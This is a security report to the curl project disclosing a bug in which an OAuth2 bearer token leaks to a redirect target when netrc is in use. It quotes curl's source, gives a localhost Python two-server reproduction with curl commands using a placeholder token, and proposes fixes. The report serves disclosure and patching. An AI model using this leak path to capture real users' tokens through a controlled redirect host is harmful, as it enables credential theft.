curl · Report #3583983
CVE-2026-3783: token leak with redirect and netrc
How it was found
Summary
When --oauth2-bearer is used with --netrc and curl follows a redirect, the bearer token leaks to the redirect target. The netrc bypass at http.c:822 skips Curl_auth_allowed_to_host(), allowing the token through. This is an incomplete fix for CVE-2025-14524 — the Dec 2025 SASL fix patched curl_sasl.c but missed the HTTP bearer path.
This is an incomplete fix for the same vulnerability class as CVE-2025-14524. The Dec 2025 SASL bearer fix (commit 1a822275d3, PR #19933) patched lib/curl_sasl.c but left the HTTP bearer path at lib/http.c:704-714 unprotected.
Version
curl 8.10.1 (confirmed), also present in current master d9c2c64337. All versions supporting --oauth2-bearer with --netrc are affected.
The netrc bypass (lib/http.c:820-827):
if(Curl_auth_allowed_to_host(data)
#ifndef CURL_DISABLE_NETRC
|| conn->bits.netrc // <-- bypasses host check entirely
#endif
)
result = output_auth_headers(data, conn, authhost, request, path, FALSE);
Bearer output with no host check (lib/http.c:704-714):
if(authstatus->picked == CURLAUTH_BEARER) {
if(!proxy && data->set.str[STRING_BEARER] &&
!Curl_checkheaders(data, STRCONST("Authorization"))) {
auth = "Bearer";
result = http_output_bearer(data);
// No Curl_auth_allowed_to_host() check here
}
}
Custom -H Authorization IS correctly protected (lib/http.c:1828-1833):
if((curlx_str_casecompare(&name, "Authorization") ||
curlx_str_casecompare(&name, "Cookie")) &&
!Curl_auth_allowed_to_host(data))
; // Stripped - note: NO netrc bypass in this path
Redirect path does NOT clear bearer (lib/http.c:1254-1257):
if(clear) {
Curl_safefree(data->state.aptr.user);
Curl_safefree(data->state.aptr.passwd);
// STRING_BEARER is NOT cleared
// authhost->picked is NOT reset
}
SASL fix that missed the HTTP path (lib/curl_sasl.c:444-446, commit 1a822275d3):
const char *oauth_bearer =
(!data->state.this_is_a_follow || data->set.allow_auth_to_other_hosts) ?
data->set.str[STRING_BEARER] : NULL;
Reproduction
Create a .netrc file with a default entry:
echo "default login testuser password testpass" > /tmp/test-netrc
Save as redirect_servers.py:
import socket, threading, time
def server_b(port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('127.0.0.1', port)); s.listen(1)
c, _ = s.accept()
data = b""
while b"\r\n\r\n" not in data: data += c.recv(4096)
req = data.decode()
leaked = "Authorization: Bearer" in req
print(f"\n{'='*50}")
print(f"SERVER B RECEIVED:")
print(req)
print(f"BEARER LEAKED: {leaked}")
print(f"{'='*50}\n")
c.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nOK")
c.close(); s.close()
def server_a(port_a, port_b):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('127.0.0.1', port_a)); s.listen(1)
c, _ = s.accept()
data = b""
while b"\r\n\r\n" not in data: data += c.recv(4096)
c.sendall(f"HTTP/1.1 302 Found\r\nLocation: http://127.0.0.1:{port_b}/callback\r\nContent-Length: 0\r\nConnection: close\r\n\r\n".encode())
c.close(); s.close()
threading.Thread(target=server_b, args=(8081,), daemon=True).start()
time.sleep(0.5)
server_a(8080, 8081)
import time; time.sleep(2)
Test 1 — Vulnerable (bearer leaks):
python3 redirect_servers.py &
sleep 2
curl -v --oauth2-bearer "SECRET_TOKEN" --netrc-file /tmp/test-netrc -L http://127.0.0.1:8080/redirect
Result: Server B receives Authorization: Bearer SECRET_TOKEN. The token leaks to the redirect target.
Test 2 — Safe (custom -H header stripped correctly):
python3 redirect_servers.py &
sleep 2
curl -v -H "Authorization: Bearer SECRET_TOKEN" --netrc-file /tmp/test-netrc -L http://127.0.0.1:8080/redirect
Result: Server B does NOT receive the Authorization header. Custom -H headers are correctly stripped via http.c:1828-1833 which uses Curl_auth_allowed_to_host() WITHOUT the netrc bypass.
Test 3 — Safe (no netrc):
python3 redirect_servers.py &
sleep 2
curl -v --oauth2-bearer "SECRET_TOKEN" -L http://127.0.0.1:8080/redirect
Result: Server B does NOT receive the bearer token. Without netrc, Curl_auth_allowed_to_host() correctly blocks the token.
The three-way comparison proves the netrc bypass at http.c:822 is the sole cause.
Suggested Fix
Option A — Add host check inside bearer output:
if(authstatus->picked == CURLAUTH_BEARER) {
if(!proxy && data->set.str[STRING_BEARER] &&
Curl_auth_allowed_to_host(data) && // ADD THIS
!Curl_checkheaders(data, STRCONST("Authorization"))) {
Option B — Exclude bearer from the netrc bypass:
if(Curl_auth_allowed_to_host(data)
#ifndef CURL_DISABLE_NETRC
|| (conn->bits.netrc && !(authhost->picked & CURLAUTH_BEARER))
#endif
)
AI Disclosure
AI assisted with initial codebase navigation and identifying candidate code regions for review. All code path analysis, vulnerability confirmation, reproduction testing, and report writing were performed manually by the researcher. The reproduction steps above were executed against curl built from source and the output verified by hand.
Impact
A user who uses --oauth2-bearer with --netrc and follows redirects will have their OAuth2 bearer token sent to the redirect target host if that host matches a .netrc entry (including the default keyword, which matches all hosts).
The .netrc default keyword matches ALL hosts, meaning the token leaks to ANY redirect target. This is realistic for users who have default entries for FTP fallback credentials or CI/CD environments that use .netrc for package registry authentication.
This is the same vulnerability class as three existing CVEs:
| CVE | What leaks | Fix location | Status |
|---|---|---|---|
| CVE-2025-14524 | Bearer via SASL | curl_sasl.c:444 | Fixed Dec 2025 |
| CVE-2025-0167 | Netrc creds | url.c | Fixed |
| CVE-2024-11053 | Netrc creds | url.c | Fixed |
| This finding | Bearer via HTTP + netrc | http.c:822 | NOT FIXED |
The Dec 2025 SASL fix (commit 1a822275d3) proves curl considers this class of bug CVE-worthy. The HTTP bearer path was simply missed during that fix.